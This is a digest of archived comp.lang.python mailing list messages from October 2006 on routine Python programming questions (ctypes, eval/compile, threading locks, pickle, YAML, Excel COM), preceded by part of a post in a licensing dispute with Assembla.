previously posted::

"Also, I don?t want your code. I will replace any code that you
wrote."
http://assembla.com/flows/show_comment/a_Q598si0r26njaaeP0Qfc#showReply=false

do not forget one thing:

The internet-caches (like e.g. google cache):

"Also, I don?t want your code. I will replace any code that you
wrote, that is not covered by the GPL licensing that applies to our
Trac code, if I can find any."
<http://64.233.183.104/search?q=cache:15NB7Z3ufJIJ:tools.assembla.com/breakout/ticket/484+Simply:+what%27s+going+on+here%3F&hl=en&ct=clnk&cd=1>

-

Note to readers:

You can find the whole case here:

http://case.lazaridis.com/wiki/Assembla

.

> I still don't understand why you've not kept you're offer of a partial
> payment:
>
> http://beta.assembla.com/flows/show/by2rhcrQKr25-kadbivGe2#showReply=false
> http://beta.assembla.com/flows/show/a_Q598si0r26njaaeP0Qfc#showReply=false
>
> (You can still do this, in order to avoid further effort.)
>
> -
>
> Finally, to cover your curiosity about the "objective of my request"
> (and your hope that I've achieved it):
>
> a) To protect my rights and to avoid commercial use of my _commercial_
> (but unpaid) contributions to a _commercial_ project.
>
> b) ?? showcase negative side-effects of "Development Only Open Source
> Licenses" (like Assembla Breakout uses).
>
> c) To inform other developers about upcoming "Commercial Open Source"
> projects and the importancy of the copyright-payment-guarantee:
>
> http://case.lazaridis.com/wiki/CopyrightPaymentGuarantee
>
> -
>
> And of course, eveything negative has it positive sides, too:
>
> I'm collecting experiences in order to collaborate better with external
> developers within my first open source project:
>
> http://dev.lazaridis.com/base
>
>> Background Information:
>>
>> In order to reduce effort, Assembla was choosen as a possible host for
>> different personal projects, mainly due to the trac tool, see:
>>
>> http://case.lazaridis.com/wiki/Host
>>
>> The Audit showed that the Assembla Breakout System does not met
>> several requirements and that trac was integrated in a immature way:
>>
>> http://case.lazaridis.com/wiki/Assembla
>>
>> The main interest was "Trac", and thus a rework was suggested
>> (commercial, reduced open source rates):
>>
>> http://case.lazaridis.com/wiki/AssemblaReworkTrac
>>
>> the Assembla Breakout project has not much to do with Open Source, see
>> this report:
>>
>> http://case.lazaridis.com/wiki/AssemblaTeamRating
>>
>> Finally, despite Assembla Breakout beeing a commercial project
>> (development only open source), the team-lead assumes people are
>> contributing for free. This has led to the need to verify the
>> "Copyright Payment Guarantee":
>>
>> http://case.lazaridis.com/wiki/CopyrightPaymentGuarantee
> 
> .
> 


-- 
http://lazaridis.com



From gagsl-py at yahoo.com.ar  Thu Oct 26 17:03:53 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 26 Oct 2006 18:03:53 -0300
Subject: my first software
In-Reply-To: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>
References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>
Message-ID: <7.0.1.0.0.20061026180314.037a7328@yahoo.com.ar>

At Thursday 26/10/2006 09:39, FS.Jason at gmail.com wrote:

>def openfile():
>     global mark
>     global step
>     global done
>     global interator
>     global mainname
>     global beensaved

Too many globals for my taste...


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From fulvio at tm.net.my  Fri Oct 27 01:56:47 2006
From: fulvio at tm.net.my (Fulvio)
Date: Fri, 27 Oct 2006 13:56:47 +0800
Subject: Printing Hidden Character in Python
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net>
References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net>
Message-ID: <200610271356.48135.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Thursday 26 October 2006 16:43, Wijaya Edward wrote:
> How can we print out the hidden character like
> "\n", "\r" etc in Python?

If it's meant to evidentiate then you should scan each byte an print it out
i.e.
o = open('yourfile'.'rb')

>>> o = open('paths.con','rb')
>>> for c in o.read():
...  if c == '\n':
...   print '\\n'
...  if c == '\r':
...   print '\\r'
...  print c,
...
unfortunately it will be a space between each letter. Maybe using 
sys.stderr.write (c) will avoid that.

F




From richardjones at optushome.com.au  Fri Oct  6 19:29:13 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Sat, 07 Oct 2006 09:29:13 +1000
Subject: ctypes, arrays and pointers
References: <452342da$0$11970$afc38c87@news.optusnet.com.au>
	<mailman.1471.1160162436.10491.python-list@python.org>
Message-ID: <4526e6c9$0$5105$afc38c87@news.optusnet.com.au>

Thomas Heller wrote:
> Richard Jones schrieb:
>>     row = image_data + width * components * y
>> 
>> but you can't add an int to a c_char_Array_2415600.
> 
> This feature request has now come up the second time, so I guess I will
> have to find a solution for it.  Someone suggested a byref_at(obj, offset)
> method which would return a kind of pointer to 'obj' plus offset, and even
> provided a patch for it (on the ctypes-users lists, maybe even in the
> ctypes or Python SF tracker). Unfortunately that was after the feature
> freeze for Python 2.5.

The following will do what I wanted:

    def ptr_add(ptr, offset):
        address = addressof(ptr.contents) + offset
        return pointer(type(ptr.contents).from_address(address))

Thanks to Alex Holkner for the tip.


    Richard



From google at andyh.fsworld.co.uk  Fri Oct 20 11:00:02 2006
From: google at andyh.fsworld.co.uk (google at andyh.fsworld.co.uk)
Date: 20 Oct 2006 08:00:02 -0700
Subject: python module for finite element program
In-Reply-To: <1161304245.341556.304670@f16g2000cwb.googlegroups.com>
References: <1161304245.341556.304670@f16g2000cwb.googlegroups.com>
Message-ID: <1161356402.525662.16310@i3g2000cwc.googlegroups.com>

This isn't a python module, but python is embedded in the environment

http://salome-platform.org/

Also check out

http://www.caelinux.com/CMS/

for a live distro that contains several FE applications.

Andy



From bignose+hates-spam at benfinney.id.au  Tue Oct 24 21:14:22 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 25 Oct 2006 11:14:22 +1000
Subject: Want to reduce steps of an operation with dictionaries
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
Message-ID: <87fyddnqmp.fsf@benfinney.id.au>

pretoriano_2001 at hotmail.com writes:

> I have next dictionaries:
> a={'a':0, 'b':1, 'c':2, 'd':3}
> b={'a':0, 'c':1, 'd':2, 'e':3}
> I want to put in a new dictionary named c all the keys that are in b
> and re-sequence the values.

They never had a sequence, so you can't "re-sequence" them.

You have not, perhaps, worked your way through the Python
tutorial. It's quite comprehensive and will give you a good grounding
in the basic concepts.

    <URL:http://docs.python.org/tut/>

-- 
 \      "I stayed up all night playing poker with tarot cards. I got a |
  `\               full house and four people died."  -- Steven Wright |
_o__)                                                                  |
Ben Finney



From hg at nospam.com  Wed Oct  4 16:38:39 2006
From: hg at nospam.com (hg)
Date: Wed, 04 Oct 2006 15:38:39 -0500
Subject: Where is Python in the scheme of things?
In-Reply-To: <82VUg.8549$Go3.4509@dukeread05>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
	<82VUg.8549$Go3.4509@dukeread05>
Message-ID: <Y3VUg.8550$Go3.2541@dukeread05>

hg wrote:
> gord wrote:
>> As a complete novice in the study of Python, I am asking myself where this 
>> language is superior or better suited than others. For example, all I see in 
>> the tutorials are lots of examples of list processing, arithmetic 
>> calculations - all in a DOS-like environment.
>>
>> What is particularly disappointing is the absence of a Windows IDE, 
>> components and an event driven paradigm. How does Python stand relative to 
>> the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these 
>> programming packages are quite expensive now while Python is free (at least 
>> for the package I am using - ActivePython).
>>
>> Please discuss where Python shines.
>> Gord
>>
>>
> Big three? ... not sure even Bill agrees with you.
> 
> Code in Python and decide for yourself ... but again, nowadays, you're
> to compare with C#, VB ... if you want to be in; that is.
> 
> hg
> 
OK, you did say VB


From dale at riverhall.nospam.co.uk  Sun Oct 29 05:53:35 2006
From: dale at riverhall.nospam.co.uk (Dale Strickland-Clark)
Date: Sun, 29 Oct 2006 10:53:35 +0000
Subject: Providing full interaction with the run time
Message-ID: <QK%0h.135918$xA6.96534@fe16.usenetserver.com>

We have a system we're developing which runs as a server. It has an xml-rpc
interface which I've extended to provide some debugging facilities. This
has already proved very useful and will continue to be so as the system is
prepared for live deployment.

The debugging interface attempts to emulate the Python interactive shell.
You type expressions, you get an answer. You type statements, they get
executed.

The problem is these two types of input are handled differently by Python.
You don't seem to be able to pass statements (which includes assignments)
and expressions through the same calls.

There are three keywords that support this type of function: EXEC, EVAL and
COMPILE. We can ignore EXEC for this because it doesn't support saving and
restoring a local environment and EVAL can do it better.

When you COMPILE code for EVAL, you have to say what sort of statement it
is. You can't pass an assignment as an expression:

>>> lcls={}
>>> r = eval(compile('a=1', '<>', 'eval'), globals(), lcls)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<>", line 1
    a=1
     ^
SyntaxError: invalid syntax

However, changing option 'eval' to 'single' is OK for statements:

>>> lcls={}
>>> r = eval(compile('a=1', '<>', 'single'), globals(), lcls)
>>> lcls
{'a': 1}
>>> 

But if I use 'single', I can't get expression results because the stupid
function prints them on the console.

>>> r = eval(compile('a', '<>', 'single'), globals(), lcls)
1
>>> print r
None

I can use the 'eval' option but that doesn't take assignments, remember?

>>> r = eval(compile('a', '<>', 'eval'), globals(), lcls)
>>> print r
1

The compile function also supports an 'exec' parameter in place of 'eval' or
'single' but this throws away expression results so that's no help.

At the moment, I'm making a crude attempt to distinguish between statements
and expressions but it's easily fooled.

So the question is: how does my debug interface (which operates over RPC)
decide which type of COMPILE it wants?

Or am I going about this all wrong?

(I don't need warnings about the obvious security implications of this
interface.)

Thanks
-- 
Dale Strickland-Clark
Riverhall Systems - www.riverhall.co.uk



From m.elston at advantest-ard.com  Tue Oct 10 18:40:51 2006
From: m.elston at advantest-ard.com (Mark Elston)
Date: Tue, 10 Oct 2006 15:40:51 -0700
Subject: Adding Worksheets to an Excel Workbook
In-Reply-To: <1160517552.328403.317150@b28g2000cwb.googlegroups.com>
References: <1160514523.693496.223630@e3g2000cwe.googlegroups.com>
	<1160517552.328403.317150@b28g2000cwb.googlegroups.com>
Message-ID: <12io83bo01htkcc@corp.supernews.com>

I expect this doesn't help him much.  I get the impression he is looking
more for a recipe.

Just doing a Google search of python + excel I got the following which
make some good starting points:

http://www.markcarter.me.uk/computing/python/excel.html
http://mail.python.org/pipermail/python-list/2003-September/183367.html
http://mathieu.fenniak.net/plotting-in-excel-through-pythoncom/

There are lots of others.

Mark

* John Machin wrote (on 10/10/2006 2:59 PM):
> e.h.doxtator at accenture.com wrote:
>> All
>>
>> I'm a Python newbie, and I'm just getting to the wonders of COM
>> programming.  I am trying to programmatically do the following:
>>
>> 1.  Activate Excel
>> 2.  Add a Workbook
>> 3.  Add a Worksheet
>> 4.  Populate the new Worksheet
>> 5.  Repeat steps 3,4 while there is data.
>>
>> How do you add a Worksheet to a Workbook?
> 
> To find out how to do things, you can:
> 
> (1) use the VBA help in Excel.
> 
> You would find (eventually):
> """
> Add method as it applies to the Sheets and Worksheets objects.
> 
> Creates a new worksheet, chart, or macro sheet. The new worksheet
> becomes the active sheet.
> 
> expression.Add(Before, After, Count, Type)
> expression    Required. An expression that returns one of the above
> objects.
> 
> Before   Optional Variant. An object that specifies the sheet before
> which the new sheet is added.
> 
> After   Optional Variant. An object that specifies the sheet after
> which the new sheet is added.
> 
> Count   Optional Variant. The number of sheets to be added. The default
> value is one.
> 
> Type   Optional Variant. Specifies the sheet type. Can be one of the
> following XlSheetType constants: xlWorksheet, xlChart,
> xlExcel4MacroSheet, or xlExcel4IntlMacroSheet. If you are inserting a
> sheet based on an existing template, specify the path to the template.
> The default value is xlWorksheet.
> 
> Remarks
> If Before and After are both omitted, the new sheet is inserted before
> the active sheet.
> """
> so,
>     your_handle.Worksheets.Add()
> looks like what you need.
> 
> (2) Again in Excel, use the "record a macro" facility: turn on
> recording, do your thing, stop recording, inspect the generated macro.
> 
> In this case, this gave
>     Sheets.Add
> which you translate to
>     your_handle.Sheets.Add()
> 
> What's the difference between Sheets and Worksheets? I dunno. Try both.
> Look in the Excel VBA help.
> 
> HTH,
> John
> 


From riteshsarraf at gmail.com  Thu Oct 12 04:56:04 2006
From: riteshsarraf at gmail.com (Ritesh Raj Sarraf)
Date: 12 Oct 2006 01:56:04 -0700
Subject: thread lock question
In-Reply-To: <rD9Xg.5832$Lv3.2162@newsread1.news.pas.earthlink.net>
References: <mailman.313.1160572913.11739.python-list@python.org>
	<rD9Xg.5832$Lv3.2162@newsread1.news.pas.earthlink.net>
Message-ID: <1160643364.317836.300530@e3g2000cwe.googlegroups.com>

I'm sorry. My example code wasn't clear enough.
Please see the following:

exit_status = copy_first_match(foo, bar)

if exit_status == False:
    if download_file(foo, bar) == True:
         if zip_bool:
                         ziplock.acquire()
                         try:
                                 compress_the_file(zip_type_file, foo,
bar)
                                 os.unlink(foo) # Unlink it once it has
been zipped
                         finally:
                                 ziplock.release()
else:
    if zip_bool:
                 ziplock.acquire()
                 try:
                         compress_the_file(zip_type_file, foo, bar)
                         os.unlink(foo)
                 finally:
                         ziplock.release()

I think this code should be clear enough.
The program, before trying to download from the web, checks into its
cache repository to see if the file is available or not. If available,
it copies it from the local cache repository and adds to the archive,
else it downloads from the web and archives it.

Now in this scenario, with threads, say a file of 100 mb got downloaded
and then being zipped. It might take a couple of seconds for the zip to
complete. During those couple of seconds, if another thread's file (a
couple kb) gets downloaded/copied, will it wait for the lock to be
released or will it create another lock ?

Thanks,
Ritesh


Dennis Lee Bieber wrote:
> On Wed, 11 Oct 2006 18:39:32 +0530, Ritesh Raj Sarraf
> <rrs at researchut.com> declaimed the following in comp.lang.python:
>
> >
> > if download_file(foo, bar) == True:
> >         if some condition:
> >                 do_something()
> >                 if zip_bool:
> 	<snip>
> >         if zip_bool:
> 	<snip>
>
> > Basically, I'm testing for some condition, if that is True, do something and
> > then do the zipping. I'm also doing the zipping even if that's not true.
> >
> 	Actually, given the code you show, if "some condition" is true, you
> are /attempting/ to zip the file twice; the second one likely fails due
> to the first one deleting the file -- a condition masked by the finally:
> clause.
>
> 	All you really need there is
>
> 	if download_file(foo, bar):
> 		if some condition:
> 			do_something()
> 		if zip_bool:
> 			....
>
>
> > My question is, in a code example like this which is threaded, does the locking
> > mechanism work correctly ?
> > Or are two different locks being acquired ?
>
> 	Is the lock object itself defined globally (shared by the threads)?
> --
> 	Wulfraed	Dennis Lee Bieber		KD6MOG
> 	wlfraed at ix.netcom.com		wulfraed at bestiaria.com
> 		HTTP://wlfraed.home.netcom.com/
> 	(Bestiaria Support Staff:		web-asst at bestiaria.com)
> 		HTTP://www.bestiaria.com/



From jstroud at mbi.ucla.edu  Mon Oct 30 19:39:08 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Tue, 31 Oct 2006 00:39:08 GMT
Subject: enumerate improvement proposal
In-Reply-To: <mailman.1510.1162251707.11739.python-list@python.org>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>	<mailman.1435.1162124420.11739.python-list@python.org>	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>	<mailman.1437.1162125524.11739.python-list@python.org>	<TDb1h.17175$GR.940@newssvr29.news.prodigy.net>	<4qn37kFmc3q0U1@uni-berlin.de>	<tQv1h.25456$7I1.21803@newssvr27.news.prodigy.net>
	<mailman.1510.1162251707.11739.python-list@python.org>
Message-ID: <MWw1h.2703$s6.1623@newssvr11.news.prodigy.com>

Steve Holden wrote:
> How could you end up marrying 
> someone who counts from one and not zero? ;-)

She's the only other person I've ever met who used vi key binding at the 
command line.

James


-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From vatamane at gmail.com  Sun Oct  1 13:57:33 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 1 Oct 2006 10:57:33 -0700
Subject: Generating unique row ID ints.
References: <1159717051.819475.215270@i42g2000cwa.googlegroups.com>
Message-ID: <1159725453.751952.187140@i3g2000cwc.googlegroups.com>

The primary key is usually there to uniquely identify each row. There
are a couple of ways to generate them:

  One is to always create  a new integer id (sequentially or random)
when you insert a new row. This means  that if you insert the same data
 again, the row will always be duplicated. Usually you don't want this.


  Then the primary key integer must somehow 'represent' the whole data
row. So you   would want for the key to be a function of the whole data
row, such that when the data is the same the row ID is the same and
when the data is different the row ID is different. The answer to your
problem is to use a message digest (actually a  message authentication
code function).

  For example if your data row is in the tuple 'row' then  you can do:
hex_digest_key=md5.new("|".join(row)).hexdigest(), you would have to
import the md5 module before doing this.

What that will do is your row will be contcatenated into one string
with each field separated by "|" then the md5 hash of that string will
be taken and the result returned to you in hexadecimal form. You'll get
back something like hex_digest_key='5d41402abc4b2a76b9719d911017c592'.
Then you can turn that into an integer by doing int(hex_digest_key,16)
-- and you can use that integer as your primary key.

  But since one of the problems you want to solve is the user's ability
to predict the next key, you cannot just use a simple message digest
function. If the user finally figures out that you are running an MD5
algorithm, the user can also run the same algorithm and generate the
same message digest -- If that is a problem,  then use a MAC (Message
Authentication Code) function. It works almost like a message digest
except you concatenate a secret key to the input so MD5 is run on the
row_as_text+secret_key.

Unless the user knows your secret key, they could not generate a
primary key from a given row even if they know you used MD5 and even if
the know the data content  of  your row.

 NOTE: When using a message digest (and friends) it is important to
realize that there will be some collision between the keys if the
number of all possible digests (as limited by the digest algoritm) is
smaller than the number of the possible messages. In practice if you
have large enough integers (64)  you shouldn't see any collisions
occur, but it is still good to be aware of them...

Hope this helps,
-Nick Vatamaniuc

Simon Wittber wrote:
> I'm building a web application using sqlalchemy in my db layer.
>
> Some of the tables require single integer primary keys which might be
> exposed in some parts of the web interface. If users can guess the next
> key in a sequence, it might be possible for them to 'game' or
> manipulate the system in unexpected ways. I want to avoid this by
> generating a random key for each row ID, and have decided to use the
> same approach for all my single key tables.
>
> Are there any best practices for implementing this?
>
> If the random module is suitable, does anyone have any good ideas on
> how this could be implemented?
>
> Some questions which came to mind are:
>     Would I need to save and restore the random module state when
> generating id's for each table?
>     What would be an appropriate seed?
>     How many random integers can I generate before a repeat becomes
> probable?
>
> I've got my own ideas for implementing this, but am interested to see
> how/if anyone else has tackled the same problem.
> 
> 
> -Sw.



From fredrik at pythonware.com  Wed Oct 18 11:21:52 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 17:21:52 +0200
Subject: How to execute a linux command by python?
In-Reply-To: <eh5gcq$s9c$1@sea.gmane.org>
References: <a34765230610180737t768b20d5q224adef6fd3fb301@mail.gmail.com>
	<eh5gcq$s9c$1@sea.gmane.org>
Message-ID: <eh5gqh$un7$1@sea.gmane.org>

Fredrik Lundh wrote:

> start here:
> 
>      http://www.python.org/doc/lib/

make sure you skim though the *entire* list.  when you've done that, see 
the "process management" section in the "os" module documentation (make 
sure to read the entire page before you decide which API to use), and 
also the "subprocess" module documentation.

</F>



From xi at gamma.dn.ua  Mon Oct  9 15:28:54 2006
From: xi at gamma.dn.ua (Kirill Simonov)
Date: Mon, 9 Oct 2006 22:28:54 +0300
Subject: help on pickle tool
In-Reply-To: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
Message-ID: <20061009192854.GA683@58sirius016.dc.ukrtel.net>

Hi,

I'm somewhat late to this discussion, but as the author of PyYAML, I'd
like to put my 2c in.


On Thu, Oct 05, 2006 at 09:52:56PM -0700, virg wrote:
> Is it possible to deserialize the data by java  which serialized by
> Python or is there any compatibility issue. Is there any equivalent
> pickle tool on java which supports this operation. so that i can use
> across languages.

You may serialize/deserialize your data to YAML using PyYAML
(http://pyyaml.org/wiki/PyYAML) on the Python side and jvyaml
(https://jvyaml.dev.java.net/) on the Java side.  You may also check
JSON (http://json.org/) as other posters suggested.


On Thu, Oct 05, 2006 at 10:54:46PM -0700, MonkeeSage wrote:
> hanumizzle wrote:
> > Why a subset?
>
> I don't think JSON is a subset of YAML.

It is.


On Fri, Oct 06, 2006 at 08:36:07AM +0200, Fredrik Lundh wrote:
> JSON is almost identical to Python's expression syntax, of course,
> while YAML isn't even close.

A valid Python list/dict expression is likely to be a valid YAML
expression.  For instance

    { "odd": [1, 3, 5, 7, 9], "even": [2, 4, 6, 8] }

is both valid Python and valid YAML.


On Fri, Oct 06, 2006 at 08:28:29AM +0200, Fredrik Lundh wrote:
> than JavaScript's expression syntax?  are you sure you're not
> confusing libraries with standards here?  (has anyone even managed to
> write a YAML library that's small and simple enough to be "obviously
> correct"?)

I've written a complete YAML parser and I must admit it hasn't been
extremely difficult.  The YAML syntax is very close to Python and I just
needed to rewrite YAML grammar using Python as a model.  The PyYAML
parser is LL(1), which is as simple as it could be.


-- 
xi


From hanumizzle at gmail.com  Sun Oct  8 14:59:56 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 8 Oct 2006 14:59:56 -0400
Subject: references and buffer()
In-Reply-To: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>
Message-ID: <463ff4860610081159j185057dfie5702bbee66bed6f@mail.gmail.com>

On 10/8/06, km <srikrishnamohan at gmail.com> wrote:
>
>  Hi all,
>
>  was looking at references  in python...
>  >>> a = 10
>  >>> b = a
>   >>> id(a)
>  153918788
>  >>>id(b)
>  153918788
>
>  where a and b point to the same id. now is this id an address ?

The id may be considered similar to an address in C, etc. slightly
different but conceptually close.

>  can one dereference a value based on address alone in python?

Not to my knowledge. Generally speaking, you wouldn't want to anyway.

>  is id similar to the address of a variable or a class ?

Exactly. Similar. Not the same, but similar.

>  read abt buffers as a refernce to a buffer object.
>  actually i tried passing list and dict types to buffer function, but only
> with string type i could createa buffer reference,
>  >>>y = 'GATCGTACC'
>  >>>x = buffer(y, 0,8)
>  >>> x
>  <read-only buffer for 0xbf4cd3b8, size 8, offset 2 at 0xbf4cf0e0>
>  >>>print x
>  TCGTACC
>  >>> id(y)
>  -1085484104
>  >>> id(x)
>  -1085476384
>
>  now the ids of y and x are not the same - why ?

You assigned two different object values to these names. In Python, a
name is just a name. It can point at any object. This relation becomes
very clear with mutable objects.

>>> x = {'foo':42, 'bar':69}
>>> id(x)
1076761980
>>> y = x
>>> y['baz'] = 36
>>> id(y)
1076761980
>>> y
{'baz': 36, 'foo': 42, 'bar': 69}
>>> x
{'baz': 36, 'foo': 42, 'bar': 69}

When I wrote y = x, all I did was make the variable y point to the
dictionary object x is also pointing at. Hence they point to the same
object. Things would be different if I decided to copy an object
instead:

>>> x = {'foo':42, 'bar':69}
>>> import copy
>>> y = copy.deepcopy(x)
>>> y['baz'] = 36
>>> id(x)
1076761164
>>> id(y)
1076890180
>>> x
{'foo': 42, 'bar': 69}
>>> y
{'baz': 36, 'foo': 42, 'bar': 69}

Since your name is Sri Krishna, an avatar of Vishnu, the concept
should be familiar. Variables are like avatars; they represent the
object (whether this is a humble dictionary or Vishnu the Preserver)
for the user, and serve as a bridge between the computer and the user,
as an avatar of Vishnu is a bridge between the physical world and the
supernatural.

Dasha Avatar -- one god. Think about it.

>  what exactly are buffer object types ? and how can i instantiate them ?

If you want to get a line of user input, the basic function is raw_input().

-- Theerasak


From deets at nospam.web.de  Sat Oct  7 09:41:37 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sat, 07 Oct 2006 15:41:37 +0200
Subject: Kde Taskbar
In-Reply-To: <4527a4ae@127.0.0.1>
References: <4527a4ae@127.0.0.1>
Message-ID: <4opp4hFft30pU1@uni-berlin.de>

DarkBlue schrieb:
> Hello
> 
> In linux I use kmail as my email client under KDE,
> if a message comes in the Kontact button in the
> taskbar changes to blue.
> How can I have the same behaviour in a python app ?
> 
> I have a python script which runs nicely under linux
> now every so often I want to be notified by some event,
> in this case that a record has been added to a database
> and I want to have the application button in the taskbar
> to change color
> 
> Thanks for any pointers , I am out of my depth here

pykde afaik supports systray-iconified apps. And you could use the 
dcop-mechanisms that are available as command line tools as well I 
guess, and invoke knotify.

Hope this gives you some pointers - I'm currently on my mac so I can't 
provide an actual example.

Diez


From rdiaz02 at gmail.com  Wed Oct  4 07:45:28 2006
From: rdiaz02 at gmail.com (Ramon Diaz-Uriarte)
Date: Wed, 4 Oct 2006 13:45:28 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <45238b15$0$27309$afc38c87@news.optusnet.com.au>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159875634.285633.226980@k70g2000cwa.googlegroups.com>
	<slrnei6v3l.96l.nick@irishsea.home.craig-wood.com>
	<45238b15$0$27309$afc38c87@news.optusnet.com.au>
Message-ID: <624934630610040445g3efa07a2ibf24495f1c2f55f9@mail.gmail.com>

On 10/4/06, Richard Jones <richardjones at optushome.com.au> wrote:
> Nick Craig-Wood wrote:
> > lbolognini at gmail.com <lbolognini at gmail.com> wrote:
> >>  And i dunno what the case against Trac is (it looks a fine tool for my
> >>  small projects) but probably it's not good enough for python.org
> >
> > Trac is really good in my experience.
>
> Trac was considered.
>
>
> > A nice extra is that it is written in python.
>
> So are Roundup and Launchpad, two of the other three trackers considered.
>

So, just out of curiosity, what were the pros/cons of Launchpad,
specially compared to Roundup?


R.


>
>     Richard
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


-- 
Ramon Diaz-Uriarte
Bioinformatics Unit
Spanish National Cancer Centre (CNIO)
http://ligarto.org/rdiaz


From pavlovevidence at gmail.com  Tue Oct 31 16:54:54 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 31 Oct 2006 13:54:54 -0800
Subject: Python tools for managing static websites?
In-Reply-To: <mailman.1542.1162296580.11739.python-list@python.org>
References: <mailman.1542.1162296580.11739.python-list@python.org>
Message-ID: <1162331694.836988.322220@m73g2000cwd.googlegroups.com>

Chris Pearl wrote:
> Are there Python tools to help webmasters manage static websites?
>
> I'm talking about regenerating an entire static website - all the HTML
> files in their appropriate directories and sub-directories. Each page
> has some fixed parts (navigation menu, header, footer) and some
> changing parts (body content, though in specific cases the normally
> fixed parts might change as well). The tool should help to keep site
> editing DRY every piece of data, including the recurring parts, should
> exist only once.
>
> The above should be doable with any decent templating tool, such as
> those forming part of most CMSes and full-stack web-frameworks.
> Normally I might have just resorted to a CMS/web-framework, running
> locally on the webmaster's station, with the only addition being a
> mechanism for generating all pages composing the site and saving them
> as files.
>
> But such a solution might not be enough, as the system I'm looking for
> must be able to control the physical traits of the website as a
> collection of files - e.g., creation and distribution of files among
> several physical directories and subdirectories.

Chris,

If you don't mind me pimping my own static website generator, you might
find HRL useful:

http://www.aerojockey.com/software/hrl

On one hand, it's like an ordinary templating engine in that you can
define macros and variables and such, and stick them into documents.
For example, define a sidebar macro in the file macro.hri:

<macro name="sidebar">
<ul>
<li>First menu entry</li>
<li>Second menu entry</li>
<li>Thrid menu entry</li>
</ul>
</macro>

This creates a new "sidebar" tag that expands to the macro definition.
You can use this macro in your main document file:

<include file="macro.hri">
<sidebar>

However, HRL is much more powerful than a simple templating system,
because it can embed Python code to be run during page generation.
Here's a very simple example:

<python>
import time
hrl.doc.write("Page last generated on %s" %
time.asctime(time.localtime()))
</python>

Thus, unlike most templating engines, HRL can adapt very well to
unusual situations.  You can embed the Python "scriptlet" into macro
definitions to create very powerful macros.  For instance, you could
write a sidebar macro to automatically disable the link to the current
page--impossible with a simple text-substitution engine.  Even more
powerful uses are possible.  You could write a macro that inserts
information from a database into the page (which sounds kind of like
what you mentioned).

On the downside, it's not exactly hip to the latest web trends.  It
uses sgmllib for input, bleagh.  The list of HTML tags it knows about
is vintage 1998.  (One of my design goals was freedom to be sloppy with
closing tags.  HRL keeps track of and automatically closes tags when
appropriate, but it doesn't know about tags like embed.)  And it's not
any sort of enterprise-quality content management.  It's just a
templating engine with power.


Carl Banks



From gagsl-py at yahoo.com.ar  Fri Oct 20 18:59:06 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 20 Oct 2006 19:59:06 -0300
Subject: Why can't you pickle instancemethods?
In-Reply-To: <1161380004.714778.152080@m7g2000cwm.googlegroups.com>
References: <1161380004.714778.152080@m7g2000cwm.googlegroups.com>
Message-ID: <7.0.1.0.0.20061020190229.05b83d80@yahoo.com.ar>

At Friday 20/10/2006 18:33, Chris wrote:

>Why can pickle serialize references to functions, but not methods?

Because all references must be globally accessible.

>Pickling a function serializes the function name, but pickling a
>staticmethod, classmethod, or instancemethod generates an error. In
>these cases, pickle knows the instance or class, and the method, so
>what's the problem? Pickle doesn't serialize code objects, so why can't
>it serialize the name as it does for functions? Is this one of those
>features that's feasible, but not useful, so no one's ever gotten
>around to implementing it?

Well, it's not so common to take a method from one class and glue it 
into an *instance* of another class...
(Note that if you copy&paste a method from one *class* into another 
*class*, pickle works OK, as long as in the unpickling environment 
you rebuild your classes the same way)

For static methods there is no way you can retrieve a globally usable 
name (like 'Functions.somefunc' in your example) - at least I don't 
know how to do it, they appear to have lost any reference to the 
defining class.
For class methods you can build such reference using im_self and 
im_func.func_name
For instance methods use im_class and im_func.func_name
Then define your own __getstate__ and __setstate__.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From edgar at edgar-matzinger.nl  Tue Oct 17 13:17:05 2006
From: edgar at edgar-matzinger.nl (Edgar Matzinger)
Date: Tue, 17 Oct 2006 19:17:05 +0200
Subject: making a valid file name...
In-Reply-To: <1161102165.272182.207990@m73g2000cwd.googlegroups.com> (from
	bjobrien62@gmail.com on Tue Oct 17 18:22:45 2006)
References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
Message-ID: <1161105425l.22953l.0l@nlxth001>

Hi,

On 10/17/2006 06:22:45 PM, SpreadTooThin wrote:
> valid =
